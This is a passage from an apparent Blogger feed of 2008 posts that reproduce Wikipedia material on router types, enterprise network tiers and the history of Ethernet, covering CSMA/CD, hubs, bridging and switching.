router: A router that resides within the middle or backbone of the LAN network rather than at its periphery.</li></ul> <dl><dd> <dl><dd>Within an ISP: Internal to the provider's AS, such a router speaks internal BGP (iBGP) to that provider's edge routers, other intra-provider core routers, or the provider's inter-provider border routers.</dd><dd>"Internet backbone:" The Internet does not have a clearly identifiable backbone, as did its predecessors. See <a href="http://en.wikipedia.org/wiki/Default-free_zone" title="Default-free zone">default-free zone</a> (DFZ). Nevertheless, it is the major ISPs' routers that make up what many would consider the core. These ISPs operate all four types of the BGP-speaking routers described here. In ISP usage, a "core" router is internal to an ISP, and used to interconnect its edge and border routers. Core routers may also have specialized functions in <a href="http://en.wikipedia.org/wiki/Virtual_private_network" title="Virtual private network">virtual private networks</a> based on a combination of BGP and <a href="http://en.wikipedia.org/wiki/Multi-Protocol_Label_Switching" class="mw-redirect" title="Multi-Protocol Label Switching">Multi-Protocol Label Switching</a> (MPLS)<sup id="cite_ref-3" class="reference"><a href="http://en.wikipedia.org/wiki/Router#cite_note-3" title=""><span class="cite_braces">[</span>4<span class="cite_braces">]</span></a></sup>.</dd></dl> </dd></dl> <p><a name="Small_Office_Home_Office_.28SOHO.29_connectivity" id="Small_Office_Home_Office_.28SOHO.29_connectivity"></a></p> <h3><span class="editsection"></span><span class="mw-headline">Small Office Home Office (SOHO) connectivity</span></h3> <dl><dd> <div class="noprint relarticle mainarticle"><i>Main article: <a href="http://en.wikipedia.org/wiki/Residential_gateway" title="Residential gateway">Residential gateway</a></i></div> </dd></dl> <p>Residential gateways (often called routers) are frequently used in homes to connect to a broadband service, such as IP over <a href="http://en.wikipedia.org/wiki/Cable" title="Cable">cable</a> or <a href="http://en.wikipedia.org/wiki/DSL" class="mw-redirect" title="DSL">DSL</a>. A home router may allow connectivity to an enterprise via a secure <a href="http://en.wikipedia.org/wiki/Virtual_Private_Network" class="mw-redirect" title="Virtual Private Network">Virtual Private Network</a>.</p> <p>While functionally similar to routers, residential gateways use <a href="http://en.wikipedia.org/wiki/Port_address_translation" title="Port address translation">port address translation</a> in addition to routing. Instead of connecting local computers to the remote network directly, a residential gateway must make local computers appear to be a single computer.</p> <p><a name="Enterprise_Routers" id="Enterprise_Routers"></a></p> <h3><span class="editsection"></span> <span class="mw-headline">Enterprise Routers</span></h3> <p>All sizes of routers may be found inside enterprises. While the most powerful routers tend to be found in ISPs, academic and research facilities, as well as large businesses, may need large routers.</p> <p>A three-layer model is in common use, not all of which need be present in smaller networks <sup id="cite_ref-4" class="reference"><a href="http://en.wikipedia.org/wiki/Router#cite_note-4" title=""><span class="cite_braces">[</span>5<span class="cite_braces">]</span></a></sup>.</p> <p><a name="Access" id="Access"></a></p> <h4><span class="editsection"></span> <span class="mw-headline">Access</span></h4> <p>Access routers, including SOHO, are located at customer sites such as branch offices that do not need hierarchical routing of their own. Typically, they are optimized for low cost.</p> <p><a name="Distribution" id="Distribution"></a></p> <h4><span class="editsection"></span><span class="mw-headline">Distribution</span></h4> <p>Distribution routers aggregate traffic from multiple access routers, either at the same site, or to collect the data streams from multiple sites to a major enterprise location. Distribution routers often are responsible for enforcing quality of service across a WAN, so they may have considerable memory, multiple WAN interfaces, and substantial processing intelligence.</p> <p>They may also provide connectivity to groups of servers or to external networks. In the latter application, the router's functionality must be carefully considered as part of the overall security architecture. Separate from the router may be a <a href="http://en.wikipedia.org/wiki/Firewall" title="Firewall">Firewall</a> or <a href="http://en.wikipedia.org/wiki/VPN" class="mw-redirect" title="VPN">VPN</a> concentrator, or the router may include these and other security functions.</p> <p>When an enterprise is primarily on one campus, there may not be a distinct distribution tier, other than perhaps off-campus access. In such cases, the access routers, connected to LANs, interconnect via core routers.</p> <p><a name="Core" id="Core"></a></p> <h4><span class="editsection"></span><span class="mw-headline">Core</span></h4> <p>In enterprises, <a href="http://en.wikipedia.org/wiki/Core_router" title="Core router">core router</a> may provide a "collapsed backbone" interconnecting the distribution tier routers from multiple buildings of a campus, or large enterprise locations. They tend to be optimized for high bandwidth.</p> <p>When an enterprise is widely distributed with no central location(s), the function of core routing may be subsumed by the WAN service to which the enterprise subscribes, and the distribution routers become the highest tier.</p>Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0tag:blogger.com,1999:blog-7210496932394038909.post-71801254047216555172008-06-22T20:20:00.000-07:002008-06-22T20:52:00.273-07:00Router<h3 style="font-weight: normal;" id="siteSub"><span style="font-size:85%;">From Wikipedia, the free encyclopedia</span></h3> <div id="jump-to-nav">Jump to: <a href="http://en.wikipedia.org/wiki/Router#column-one">navigation</a>, <a href="http://en.wikipedia.org/wiki/Router#searchInput">search</a></div> <!-- start content --> <div class="dablink">This article is about a computer networking device. For the kind of rotating cutting tool, see <a href="http://en.wikipedia.org/wiki/Wood_router" title="Wood router">wood router</a>. For the type of network router found in many homes, see <a href="http://en.wikipedia.org/wiki/Residential_gateway" title="Residential gateway">residential gateway</a>. For the software used in <a href="http://en.wikipedia.org/wiki/Electronic_design_automation" title="Electronic design automation">electronic design automation</a>, see <a href="http://en.wikipedia.org/wiki/Routing_%28EDA%29" title="Routing (EDA)">routing (EDA)</a>.</div> <div class="thumb tright"> <div class="thumbinner" style="width: 182px;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZLVaz6C2scZxE1PZQrtonYcpgSb3wIJC3lzPy9g48DujJmM-emw6tLkH6at6WxMQDP0sXN7kXz6yV4e4VGaOTui_k0E3rr1ZzyPbelROxGXfEE1FpvgIdpzkdKzcdLO5C48NJHVkaMdY/s1600-h/180px-Cisco1800seriesrouter.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZLVaz6C2scZxE1PZQrtonYcpgSb3wIJC3lzPy9g48DujJmM-emw6tLkH6at6WxMQDP0sXN7kXz6yV4e4VGaOTui_k0E3rr1ZzyPbelROxGXfEE1FpvgIdpzkdKzcdLO5C48NJHVkaMdY/s320/180px-Cisco1800seriesrouter.jpg" alt="" id="BLOGGER_PHOTO_ID_5214912351416109938" border="0" /></a><a href="http://en.wikipedia.org/wiki/Image:Cisco1800seriesrouter.jpg" class="image" title="Cisco 1800 Router"></a> <div class="thumbcaption"> <div class="magnify"><a href="http://en.wikipedia.org/wiki/Image:Cisco1800seriesrouter.jpg" class="internal" title="Enlarge"><img src="http://en.wikipedia.org/skins-1.5/common/images/magnify-clip.png" alt="" height="11" width="15" /></a></div> Cisco 1800 Router</div> </div> </div> <div class="thumb tright"> <div class="thumbinner" style="width: 182px;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh39_2nE6WGEhFaKfj4bmFyiq-NTO13FF0XM4U7jfdO-e3vrseW0JWDibRqXtyIMjBn6Qz-eLAL7jd5ocIKeUSuLT4uI91777nuepl7ISQObWaK7mKf8x8U69a_T70gSgBVWxKnehcEyzY/s1600-h/180px-ERS-8600.JPG"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh39_2nE6WGEhFaKfj4bmFyiq-NTO13FF0XM4U7jfdO-e3vrseW0JWDibRqXtyIMjBn6Qz-eLAL7jd5ocIKeUSuLT4uI91777nuepl7ISQObWaK7mKf8x8U69a_T70gSgBVWxKnehcEyzY/s320/180px-ERS-8600.JPG" alt="" id="BLOGGER_PHOTO_ID_5214912825898066770" border="0" /></a><a href="http://en.wikipedia.org/wiki/Image:ERS-8600.JPG" class="image" title="Nortel ERS 8600"></a> <div class="thumbcaption"> <div class="magnify"><a href="http://en.wikipedia.org/wiki/Image:ERS-8600.JPG" class="internal" title="Enlarge"><img src="http://en.wikipedia.org/skins-1.5/common/images/magnify-clip.png" alt="" height="11" width="15" /></a></div> <a href="http://en.wikipedia.org/wiki/Nortel_ERS_8600" title="Nortel ERS 8600">Nortel ERS 8600</a></div> </div> </div> <div class="thumb tright"> <div class="thumbinner" style="width: 182px;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZF1f92tlF8ZC2ixqzpG88WKTUqEFvKxeKADYgFgUoS7DaZvx4jySgbHJq42PzLewuoMFUV8uxaFZlg6hzFGCu4UdDf3399_RDpKYeeU8oBhS74njLVu_3UW4qObqRkenF53c6guG-QCM/s1600-h/180px-Cisco7600seriesrouter.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZF1f92tlF8ZC2ixqzpG88WKTUqEFvKxeKADYgFgUoS7DaZvx4jySgbHJq42PzLewuoMFUV8uxaFZlg6hzFGCu4UdDf3399_RDpKYeeU8oBhS74njLVu_3UW4qObqRkenF53c6guG-QCM/s320/180px-Cisco7600seriesrouter.jpg" alt="" id="BLOGGER_PHOTO_ID_5214912626441276418" border="0" /></a><a href="http://en.wikipedia.org/wiki/Image:Cisco7600seriesrouter.jpg" class="image" title="Cisco 7600 Routers"></a> <div class="thumbcaption"> <div class="magnify"><a href="http://en.wikipedia.org/wiki/Image:Cisco7600seriesrouter.jpg" class="internal" title="Enlarge"><img src="http://en.wikipedia.org/skins-1.5/common/images/magnify-clip.png" alt="" height="11" width="15" /></a></div> Cisco 7600 Routers</div> </div> </div> <p>A <b>router</b> (pronounced <span title="Pronunciation in the International Phonetic Alphabet (IPA)" class="IPA"><a href="http://en.wikipedia.org/wiki/Help:IPA_for_English" title="Help:IPA for English">/'rautər/</a></span> in the USA and Australia, and pronounced <span title="Pronunciation in the International Phonetic Alphabet (IPA)" class="IPA"><a href="http://en.wikipedia.org/wiki/Help:IPA_for_English" title="Help:IPA for English">/'ru:tər/</a></span> in the UK) is a <a href="http://en.wikipedia.org/wiki/Computer" title="Computer">computer</a> whose software and hardware are usually tailored to the tasks of <a href="http://en.wikipedia.org/wiki/Routing" title="Routing">routing</a> and <a href="http://en.wikipedia.org/wiki/Forwarding" title="Forwarding">forwarding</a> information. Routers generally contain a specialized <a href="http://en.wikipedia.org/wiki/Operating_system" title="Operating system">operating system</a> (e.g. <a href="http://en.wikipedia.org/wiki/Cisco_Systems" title="Cisco Systems">Cisco's</a> <a href="http://en.wikipedia.org/wiki/Cisco_IOS" title="Cisco IOS">IOS</a> or <a href="http://en.wikipedia.org/wiki/Juniper_Networks" title="Juniper Networks">Juniper Networks</a> JUNOS and JUNOSe or <a href="http://en.wikipedia.org/wiki/Extreme_Networks" title="Extreme Networks">Extreme Networks</a> XOS), <a href="http://en.wikipedia.org/wiki/Random_access_memory" title="Random access memory">RAM</a>, <a href="http://en.wikipedia.org/wiki/NVRAM" class="mw-redirect" title="NVRAM">NVRAM</a>, <a href="http://en.wikipedia.org/wiki/Flash_memory" title="Flash memory">flash memory</a>, and one or more <a href="http://en.wikipedia.org/wiki/Central_processing_unit" title="Central processing unit">processors</a>. High-end routers contain many processors and specialized <a href="http://en.wikipedia.org/wiki/Application-specific_integrated_circuit" title="Application-specific integrated circuit">Application-specific integrated circuits</a> (ASIC) and do a great deal of <a href="http://en.wikipedia.org/wiki/Parallel_processing" title="Parallel processing">parallel processing</a>. Chassis based systems like the <a href="http://en.wikipedia.org/wiki/Nortel" title="Nortel">Nortel</a> <a href="http://en.wikipedia.org/wiki/Metro_Ethernet_Routing_Switch_8600" title="Metro Ethernet Routing Switch 8600">MERS-8600</a> or <a href="http://en.wikipedia.org/wiki/Nortel_ERS_8600" title="Nortel ERS 8600">ERS-8600</a> routing switch, (pictured right) have multiple ASICs on every module and allow for a wide variety of <a href="http://en.wikipedia.org/wiki/LAN" class="mw-redirect" title="LAN">LAN</a>, <a href="http://en.wikipedia.org/wiki/Metropolitan_area_network" title="Metropolitan area network">MAN</a>, METRO, and <a href="http://en.wikipedia.org/wiki/Wide_area_network" title="Wide area network">WAN</a> port technologies or other connections that are customizable. Much simpler routers are used where cost is important and the demand is low, for example in providing a home internet service. With appropriate software (such as <a href="http://en.wikipedia.org/wiki/Untangle" title="Untangle">Untangle</a>, <a href="http://en.wikipedia.org/wiki/SmoothWall" title="SmoothWall">SmoothWall</a>, <a href="http://en.wikipedia.org/wiki/XORP" title="XORP">XORP</a> or <a href="http://en.wikipedia.org/wiki/Quagga_%28software%29" title="Quagga (software)">Quagga</a>), a standard PC can act as a router.</p> <p>Routers connect two or more logical <a href="http://en.wikipedia.org/wiki/Subnets" class="mw-redirect" title="Subnets">subnets</a>, which do not necessarily map one-to-one to the physical interfaces of the router.<sup id="cite_ref-0" class="reference"><a href="http://en.wikipedia.org/wiki/Router#cite_note-0" title=""><span class="cite_braces">[</span>1<span class="cite_braces">]</span></a></sup> The term <b>layer 3 switch</b> often is used interchangeably with router, but <a href="http://en.wikipedia.org/wiki/Network_switch" title="Network switch">switch</a> is really a general term without a rigorous technical definition. In marketing usage, it is generally optimized for Ethernet LAN interfaces and may not have other physical interface types.</p> <p>Routers operate in two different planes <sup id="cite_ref-1" class="reference"><a href="http://en.wikipedia.org/wiki/Router#cite_note-1" title=""><span class="cite_braces">[</span>2<span class="cite_braces">]</span></a></sup>:</p> <ul><li><a href="http://en.wikipedia.org/wiki/Control_Plane" class="mw-redirect" title="Control Plane">Control Plane</a>, in which the router learns the outgoing interface that is most appropriate for forwarding specific packets to specific destinations,</li><li><a href="http://en.wikipedia.org/wiki/Forwarding_Plane" class="mw-redirect" title="Forwarding Plane">Forwarding Plane</a>, which is responsible for the actual process of sending a packet received on a logical interface to an outbound logical interface.</li></ul>Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0tag:blogger.com,1999:blog-7210496932394038909.post-82314819739132502972008-06-22T20:03:00.000-07:002008-06-22T20:12:50.847-07:00Dealing with multiple clients<h3><span class="mw-headline">CSMA/CD shared medium Ethernet</span></h3>Ethernet originally used a shared <a href="http://en.wikipedia.org/wiki/Coaxial_cable" title="Coaxial cable">coaxial cable</a> (the shared medium) winding around a building or campus to every attached machine. A scheme known as <a href="http://en.wikipedia.org/wiki/Carrier_sense_multiple_access_with_collision_detection" title="Carrier sense multiple access with collision detection">carrier sense multiple access with collision detection</a> (CSMA/CD) governed the way the computers shared the channel. This scheme was simpler than the competing <a href="http://en.wikipedia.org/wiki/Token_ring" title="Token ring">token ring</a> or <a href="http://en.wikipedia.org/wiki/Token_bus" class="mw-redirect" title="Token bus">token bus</a> technologies. When a computer wanted to send some information, it used the following <a href="http://en.wikipedia.org/wiki/Algorithm" title="Algorithm">algorithm</a>:<br /><h4><span class="mw-headline">Main procedure</span></h4> <ol><li>Frame ready for transmission.</li><li>Is medium idle? If not, wait until it becomes ready and wait the <a href="http://en.wikipedia.org/wiki/Interframe_gap" title="Interframe gap">interframe gap</a> period (9.6 <a href="http://en.wikipedia.org/wiki/1_E-6_s" title="1 E-6 s">µs</a> in 10 Mbit/s Ethernet).</li><li>Start transmitting.</li><li>Did a collision occur? If so, go to collision detected procedure.</li><li>Reset retransmission counters and end frame transmission.</li></ol><br /><h4><span class="mw-headline">Collision detected procedure</span></h4> <ol><li>Continue transmission until minimum packet time is reached (jam signal) to ensure that all receivers detect the collision.</li><li>Increment retransmission counter.</li><li>Was the maximum number of transmission attempts reached? If so, abort transmission.</li><li>Calculate and wait random backoff period based on number of collisions.</li><li>Re-enter main procedure at stage 1.</li></ol> <p>This can be likened to what happens at a dinner party, where all the guests talk to each other through a common medium (the air). Before speaking, each guest politely waits for the current speaker to finish. If two guests start speaking at the same time, both stop and wait for short, random periods of time (in Ethernet, this time is generally measured in microseconds). The hope is that by each choosing a random period of time, both guests will not choose the same time to try to speak again, thus avoiding another collision. <a href="http://en.wikipedia.org/wiki/Exponential_growth" title="Exponential growth">Exponentially increasing</a> back-off times (determined using the <a href="http://en.wikipedia.org/wiki/Truncated_binary_exponential_backoff" title="Truncated binary exponential backoff">truncated binary exponential backoff</a> algorithm) are used when there is more than one failed attempt to transmit.</p> <p>Computers were connected to an <a href="http://en.wikipedia.org/wiki/Attachment_Unit_Interface" title="Attachment Unit Interface">Attachment Unit Interface</a> (AUI) <a href="http://en.wikipedia.org/wiki/Transceiver" title="Transceiver">transceiver</a>, which was in turn connected to the cable (later with <a href="http://en.wikipedia.org/wiki/Thin_Ethernet" class="mw-redirect" title="Thin Ethernet">thin Ethernet</a> the transceiver was integrated into the network adapter). While a simple passive wire was highly reliable for small Ethernets, it was not reliable for large extended networks, where damage to the wire in a single place, or a single bad connector, could make the whole Ethernet segment unusable. Multipoint systems are also prone to very strange failure modes when an electrical discontinuity reflects the signal in such a manner that some nodes would work properly while others work slowly because of excessive retries or not at all (see <a href="http://en.wikipedia.org/wiki/Standing_wave" title="Standing wave">standing wave</a> for an explanation of why); these could be much more painful to diagnose than a complete failure of the segment. Debugging such failures often involved several people crawling around wiggling connectors while others watched the displays of computers running a <i><a href="http://en.wikipedia.org/wiki/Ping" title="Ping">ping</a></i> command and shouted out reports as performance changed.</p> <p>Since all communications happen on the same wire, any information sent by one computer is received by all, even if that information is intended for just one destination. The network interface card interrupts the <a href="http://en.wikipedia.org/wiki/Central_processing_unit" title="Central processing unit">CPU</a> only when applicable packets are received: the card ignores information not addressed to it unless it is put into "<a href="http://en.wikipedia.org/wiki/Promiscuous_mode" title="Promiscuous mode">promiscuous mode</a>". This "one speaks, all listen" property is a security weakness of shared-medium Ethernet, since a node on an Ethernet network can eavesdrop on all traffic on the wire if it so chooses. Use of a single cable also means that the bandwidth is shared, so that network traffic can slow to a crawl when, for example, the network and nodes restart after a power failure.</p><h3><span class="mw-headline">Ethernet repeaters and hubs</span></h3><br />For signal degradation and timing reasons, coaxial <a href="http://en.wikipedia.org/wiki/Ethernet_segment" class="mw-redirect" title="Ethernet segment">Ethernet segments</a> had a restricted size which depended on the medium used. For example, 10BASE5 coax cables had a maximum length of 500 meters (1,640 ft). Also, as was the case with most other high-speed buses, Ethernet segments had to be terminated with a <a href="http://en.wikipedia.org/wiki/Resistor" title="Resistor">resistor</a> at each end. For coaxial-cable-based Ethernet, each end of the cable had a 50-<a href="http://en.wikipedia.org/wiki/Ohm_%28unit%29" class="mw-redirect" title="Ohm (unit)">ohm</a> resistor attached. Typically this resistor was built into a male <a href="http://en.wikipedia.org/wiki/BNC_connector" title="BNC connector">BNC</a> or <a href="http://en.wikipedia.org/wiki/N_connector" title="N connector">N connector</a> and attached to the last device on the bus, or, if <a href="http://en.wikipedia.org/wiki/Vampire_tap" title="Vampire tap">vampire taps</a> were in use, to the end of the cable just past the last device. If termination was not done, or if there was a break in the cable, the <a href="http://en.wikipedia.org/wiki/Alternating_current" title="Alternating current">AC</a> signal on the bus was reflected, rather than dissipated, when it reached the end. This reflected signal was indistinguishable from a collision, and so no communication would be able to take place. <p>A greater length could be obtained by an Ethernet <a href="http://en.wikipedia.org/wiki/Repeater" title="Repeater">repeater</a>, which took the signal from one Ethernet cable and repeated it onto another cable. If a collision was detected, the repeater transmitted a <a href="http://en.wikipedia.org/wiki/Jam_signal" title="Jam signal">jam signal</a> onto all ports to ensure collision detection. Repeaters could be used to connect segments such that there were up to five Ethernet segments between any two hosts, three of which could have attached devices. Repeaters could detect an improperly terminated link from the continuous collisions and stop forwarding data from it. Hence they alleviated the problem of cable breakages: when an Ethernet coax segment broke, while all devices on that segment were unable to communicate, repeaters allowed the other segments to continue working - although depending on which segment was broken and the layout of the network the partitioning that resulted may have made other segments unable to reach important servers and thus effectively useless.</p> <p>People recognized the advantages of cabling in a <a href="http://en.wikipedia.org/wiki/Star_topology" class="mw-redirect" title="Star topology">star topology</a>, primarily that only faults at the star point will result in a badly partitioned network, and network vendors started creating <a href="http://en.wikipedia.org/wiki/Multiport_repeater" title="Multiport repeater">repeaters having multiple ports</a>, thus reducing the number of repeaters required at the star point. Multiport Ethernet repeaters became known as "Ethernet <a href="http://en.wikipedia.org/wiki/Network_hub" title="Network hub">hubs</a>". Network vendors such as DEC and <a href="http://en.wikipedia.org/wiki/SynOptics" title="SynOptics">SynOptics</a> sold hubs that connected many <a href="http://en.wikipedia.org/wiki/10BASE2" title="10BASE2">10BASE2</a> thin coaxial segments. There were also "multi-port transceivers" or "fan-outs". These could be connected to each other and/or a coax backbone. The best-known early example was <a href="http://en.wikipedia.org/wiki/Digital_Equipment_Corporation" title="Digital Equipment Corporation">DEC's</a> <a href="http://en.wikipedia.org/wiki/DELNI" title="DELNI">DELNI</a>. These devices allowed multiple hosts with AUI connections to share a single transceiver. They also allowed creation of a small standalone Ethernet segment without using a coaxial cable.</p> <div class="thumb tright"> <div class="thumbinner" style="width: 127px;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgW6FnbcxLOQo68kMyLHn0Yc7Pmwz4lZhb-HA9NfVUtFOJSh3S2TvLZZb2WiE3NoWsAx7sKfDAijwsL1-Df_daOWVGR3UH3DcGWIhNAA2gMoQaSQEpvMiajdqeoegm0rcvoKWNB2Md7j7U/s1600-h/125px-10baseT_cable.jpeg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgW6FnbcxLOQo68kMyLHn0Yc7Pmwz4lZhb-HA9NfVUtFOJSh3S2TvLZZb2WiE3NoWsAx7sKfDAijwsL1-Df_daOWVGR3UH3DcGWIhNAA2gMoQaSQEpvMiajdqeoegm0rcvoKWNB2Md7j7U/s320/125px-10baseT_cable.jpeg" alt="" id="BLOGGER_PHOTO_ID_5214909037770826146" border="0" /></a><a href="http://en.wikipedia.org/wiki/Image:10baseT_cable.jpeg" class="image" title="A twisted pair CAT-3 or CAT-5 cable is used to connect 10BASE-T Ethernet"></a> <div class="thumbcaption"> <div class="magnify"><a href="http://en.wikipedia.org/wiki/Image:10baseT_cable.jpeg" class="internal" title="Enlarge"><img src="http://en.wikipedia.org/skins-1.5/common/images/magnify-clip.png" alt="" height="11" width="15" /></a></div> A <a href="http://en.wikipedia.org/wiki/Twisted_pair" title="Twisted pair">twisted pair</a> CAT-3 or CAT-5 cable is used to connect 10BASE-T Ethernet</div> </div> </div> <p><a href="http://en.wikipedia.org/wiki/Ethernet_over_twisted_pair" title="Ethernet over twisted pair">Ethernet on unshielded twisted-pair cables</a> (UTP), beginning with <a href="http://en.wikipedia.org/wiki/StarLAN" title="StarLAN">StarLAN</a> and continuing with <a href="http://en.wikipedia.org/wiki/10BASE-T" class="mw-redirect" title="10BASE-T">10BASE-T</a>, was designed for point-to-point links only and all termination was built into the device. This changed hubs from a specialist device used at the center of large networks to a device that every twisted pair-based network with more than two machines had to use. The tree structure that resulted from this made Ethernet networks more reliable by preventing faults with (but not deliberate misbehavior of) one peer or its associated cable from affecting other devices on the network, although a failure of a hub or an inter-hub link could still affect lots of users. Also, since twisted pair Ethernet is point-to-point and terminated inside the hardware, the total empty panel space required around a port is much reduced, making it easier to design hubs with lots of ports and to integrate Ethernet onto computer motherboards.</p> <p>Despite the physical star topology, hubbed Ethernet networks still use half-duplex and CSMA/CD, with only minimal activity by the hub, primarily the Collision Enforcement signal, in dealing with packet collisions. Every packet is sent to every port on the hub, so bandwidth and security problems aren't addressed. The total throughput of the hub is limited to that of a single link and all links must operate at the same speed.</p> <p>Collisions reduce throughput by their very nature. In the worst case, when there are lots of hosts with long cables that attempt to transmit many short frames, excessive collisions can reduce throughput dramatically. However, a <a href="http://en.wikipedia.org/wiki/Xerox" title="Xerox">Xerox</a> report in 1980 summarized the results of having 20 fast nodes attempting to transmit packets of various sizes as quickly as possible on the same Ethernet segment.<sup id="cite_ref-3" class="reference"><a href="http://en.wikipedia.org/wiki/Ethernet#cite_note-3" title="">[4]</a></sup> The results showed that, even for the smallest Ethernet frames (64B), 90% throughput on the LAN was the norm. This is in comparison with <a href="http://en.wikipedia.org/wiki/Token_passing" title="Token passing">token passing</a> LANs (token ring, token bus), all of which suffer throughput degradation as each new node comes into the LAN, due to token waits.</p> This report was wildly controversial, as modeling showed that collision-based networks became unstable under loads as low as 40% of nominal capacity. Many early researchers failed to understand the subtleties of the CSMA/CD protocol and how important it was to get the details right, and were really modeling somewhat different networks (usually not as good as real Ethernet.<br /><h3> <span class="mw-headline">Bridging and switching</span></h3> <p>While repeaters could isolate some aspects of <a href="http://en.wikipedia.org/wiki/Ethernet_segment" class="mw-redirect" title="Ethernet segment">Ethernet segments</a>, such as cable breakages, they still forwarded all traffic to all Ethernet devices. This created practical limits on how many machines could communicate on an Ethernet network. Also as the entire network was one collision domain and all hosts had to be able to detect collisions anywhere on the network the number of repeaters between the farthest nodes was limited. Finally segments joined by repeaters had to all operate at the same speed, making phased-in upgrades impossible.</p> <p>To alleviate these problems, bridging was created to communicate at the data link layer while isolating the physical layer. With bridging, only well-formed packets are forwarded from one Ethernet segment to another; collisions and packet errors are isolated. Bridges learn where devices are, by watching <a href="http://en.wikipedia.org/wiki/MAC_address" title="MAC address">MAC addresses</a>, and do not forward packets across segments when they know the destination address is not located in that direction.</p> <p>Prior to discovery of network devices on the different segments, Ethernet bridges and switches work somewhat like Ethernet hubs, passing all traffic between segments. However, as the switch discovers the addresses associated with each port, it only forwards network traffic to the necessary segments improving overall performance. <a href="http://en.wikipedia.org/wiki/Broadcasting_%28networks%29" class="mw-redirect" title="Broadcasting (networks)">Broadcast</a> traffic is still forwarded to all network segments. Bridges also overcame the limits on total segments between two hosts and allowed the mixing of speeds, both of which became very important with the introduction of <a href="http://en.wikipedia.org/wiki/Fast_Ethernet" title="Fast Ethernet">Fast Ethernet</a>.</p> <p>Early bridges examined each packet one by one using software on a CPU, and some of them were significantly slower than hubs (multi-port repeaters) at forwarding traffic, especially when handling many ports at the same time. In 1989 the networking company <a href="http://en.wikipedia.org/wiki/Kalpana_%28company%29" title="Kalpana (company)">Kalpana</a> introduced their EtherSwitch, the first Ethernet switch. An Ethernet switch does bridging in hardware, allowing it to forward packets at full wire speed. It is important to remember that the term <i>switch</i> was invented by device manufacturers and does not appear in the 802.3 standard. Functionally, the two terms are interchangeable.</p> <p>Since packets are typically only delivered to the port they are intended for, traffic on a switched Ethernet is slightly less public than on shared-medium Ethernet. <span id="switch_vulnerabilities">Despite this, switched Ethernet should still be regarded as an insecure network technology, because it is easy to subvert switched Ethernet systems by means such as <a href="http://en.wikipedia.org/wiki/ARP_spoofing" title="ARP spoofing">ARP spoofing</a> and <a href="http://en.wikipedia.org/wiki/MAC_flooding" title="MAC flooding">MAC flooding</a>.</span> The bandwidth advantages, the slightly better isolation of devices from each other, the ability to easily mix different speeds of devices and the elimination of the chaining limits inherent in non-switched Ethernet have made switched Ethernet the dominant network technology.</p> <p>When a twisted pair or fiber link segment is used and neither end is connected to a hub, <a href="http://en.wikipedia.org/wiki/Full-duplex" class="mw-redirect" title="Full-duplex">full-duplex</a> Ethernet becomes possible over that segment. In full duplex mode both devices can transmit and receive to/from each other at the same time, and there is no collision domain. This doubles the aggregate bandwidth of the link and is sometimes advertised as double the link speed (e.g. 200 Mbit/s) to account for this. However, this is misleading as performance will only double if traffic patterns are symmetrical (which in reality they rarely are). The elimination of the collision domain also means that all the link's bandwidth can be used and that segment length is not limited by the need for correct collision detection (this is most significant with some of the fiber variants of Ethernet).</p> <p><a name="Dual_speed_hubs" id="Dual_speed_hubs"></a></p> <h3><span class="editsection"></span><span class="mw-headline">Dual speed hubs</span></h3> <p>In the early days of <a href="http://en.wikipedia.org/wiki/Fast_Ethernet" title="Fast Ethernet">Fast Ethernet</a>, Ethernet switches were relatively expensive devices. However, hubs suffered from the problem that if there were any <a href="http://en.wikipedia.org/wiki/10BASE-T" class="mw-redirect" title="10BASE-T">10BASE-T</a> devices connected then the whole system would have to run at 10 Mbit. Therefore a compromise between a hub and a switch appeared known as a <a href="http://en.wikipedia.org/wiki/Network_hub#Dual_speed_hubs" title="Network hub">dual speed hub</a>. These devices consisted of an internal two-port switch, dividing the <a href="http://en.wikipedia.org/wiki/10BASE-T" class="mw-redirect" title="10BASE-T">10BASE-T</a> (10 <a href="http://en.wikipedia.org/wiki/Mbit" class="mw-redirect" title="Mbit">Mbit</a>) and <a href="http://en.wikipedia.org/wiki/100BASE-T" class="mw-redirect" title="100BASE-T">100BASE-T</a> (100 <a href="http://en.wikipedia.org/wiki/Mbit" class="mw-redirect" title="Mbit">Mbit</a>) segments. The device would typically consist of more than two physical ports. When a network device becomes active on any of the physical ports, the device attaches it to either the 10BASE-T segment or the 100BASE-T segment, as appropriate. This prevented the need for an all-or-nothing migration from 10BASE-T to 100BASE-T networks. These devices are also known as dual-speed hubs because the traffic between devices connected at the same speed is not switched.</p> <p><a name="More_advanced_networks" id="More_advanced_networks"></a></p> <h3><span class="editsection"></span> <span class="mw-headline">More advanced networks</span></h3> <p>Simple switched Ethernet networks, while an improvement over hub based Ethernet, suffer from a number of issues:</p> <ul><li>They suffer from single points of failure. If any link fails some devices will be unable to communicate with other devices and if the link that fails is in a central location lots of users can be cut off from the resources they require.</li><li>It is possible to trick switches or hosts into sending data to your machine even if it's not intended for it (see <a href="http://en.wikipedia.org/wiki/Ethernet#switch_vulnerabilities" title="">switch vulnerabilities</a>).</li><li>Large amounts of broadcast traffic, whether malicious, accidental, or simply a side effect of network size can flood slower links and/or systems. <ul><li>It is possible for any host to flood the network with broadcast traffic forming a denial of service attack against any hosts that run at the same or lower speed as the attacking device.</li><li>As the network grows, normal broadcast traffic takes up an ever greater amount of bandwidth.</li><li>If switches are not <a href="http://en.wikipedia.org/wiki/Multicast" title="Multicast">multicast</a> aware, multicast traffic will end up treated like broadcast traffic due to being directed at a MAC with no associated 